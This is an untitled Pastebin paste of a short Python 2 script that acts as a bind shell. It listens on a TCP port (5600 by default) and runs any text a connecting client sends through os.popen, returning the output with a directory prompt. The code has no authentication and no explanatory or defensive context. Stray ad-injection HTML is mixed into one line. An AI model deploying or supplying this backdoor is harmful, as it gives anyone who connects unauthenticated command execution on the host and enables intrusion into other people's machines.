Advertisement
Guest User

Untitled

a guest
Sep 20th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. import socket, os, sys
  2. try:
  3. try:
  4. port = int(sys.argv[2])
  5. except:
  6. port = 5600
  7. try:
  8. ip = sys.argv[1]
  9. except:
  10. ip = "127.0.0.1"
  11.  
  12. host = (ip, port)
  13. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  14. sock.bind(host)
  15. sock.listen(1)
  16.  
  17. while True:
  18. client, <span id="IL_AD3" class="IL_AD">addr</span> = sock.<span id="IL_AD2" class="IL_AD">accept</span>()
  19. client.send(os.getcwd()+"> ")
  20. while True:
  21. cmd = client.recv(1024)
  22. ter = os.popen(cmd)
  23. res = ""
  24. for line in ter:
  25. res+=line
  26. client.send(res+os.getcwd()+"> ")
  27. except KeyboardInterrupt:
  28. try:
  29. client.send("\n\nConnection closed... Goodbye...\n")
  30. except:
  31. pass
  32. sock.close()
  33. except socket.error:
  34. client.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement